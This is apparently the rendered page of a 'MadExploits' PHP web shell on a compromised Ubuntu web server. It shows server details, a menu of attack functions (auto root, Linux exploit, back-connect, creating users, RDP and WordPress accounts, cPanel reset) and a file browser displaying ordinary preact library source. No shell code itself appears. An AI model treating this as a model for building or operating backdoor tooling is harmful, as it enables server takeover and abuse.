Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
preact /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
diff
[ DIR ]
drwxrwxr-x
cjs.js
115
B
-rw-rw-r--
clone-element.js
1.13
KB
-rw-rw-r--
component.js
7.75
KB
-rw-rw-r--
constants.js
701
B
-rw-rw-r--
create-context.js
2.15
KB
-rw-rw-r--
create-element.js
2.91
KB
-rw-rw-r--
index.d.ts
10.75
KB
-rw-rw-r--
index.js
408
B
-rw-rw-r--
internal.d.ts
6.03
KB
-rw-rw-r--
jsx.d.ts
99.48
KB
-rw-rw-r--
options.js
566
B
-rw-rw-r--
render.js
2.35
KB
-rw-rw-r--
util.js
911
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : create-context.js
import { enqueueRender } from './component'; export let i = 0; export function createContext(defaultValue, contextId) { contextId = '__cC' + i++; const context = { _id: contextId, _defaultValue: defaultValue, /** @type {FunctionComponent} */ Consumer(props, contextValue) { // return props.children( // context[contextId] ? context[contextId].props.value : defaultValue // ); return props.children(contextValue); }, /** @type {FunctionComponent} */ Provider(props) { if (!this.getChildContext) { /** @type {Component[]} */ let subs = []; let ctx = {}; ctx[contextId] = this; this.getChildContext = () => ctx; this.shouldComponentUpdate = function (_props) { if (this.props.value !== _props.value) { // I think the forced value propagation here was only needed when `options.debounceRendering` was being bypassed: // https://github.com/preactjs/preact/commit/4d339fb803bea09e9f198abf38ca1bf8ea4b7771#diff-54682ce380935a717e41b8bfc54737f6R358 // In those cases though, even with the value corrected, we're double-rendering all nodes. // It might be better to just tell folks not to use force-sync mode. // Currently, using `useContext()` in a class component will overwrite its `this.context` value. // subs.some(c => { // c.context = _props.value; // enqueueRender(c); // }); // subs.some(c => { // c.context[contextId] = _props.value; // enqueueRender(c); // }); subs.some(c => { c._force = true; enqueueRender(c); }); } }; this.sub = c => { subs.push(c); let old = c.componentWillUnmount; c.componentWillUnmount = () => { subs.splice(subs.indexOf(c), 1); if (old) old.call(c); }; }; } return props.children; } }; // Devtools needs access to the context object when it // encounters a Provider. This is necessary to support // setting `displayName` on the context object instead // of on the component itself. See: // https://reactjs.org/docs/context.html#contextdisplayname return (context.Provider._contextRef = context.Consumer.contextType = context); }
Close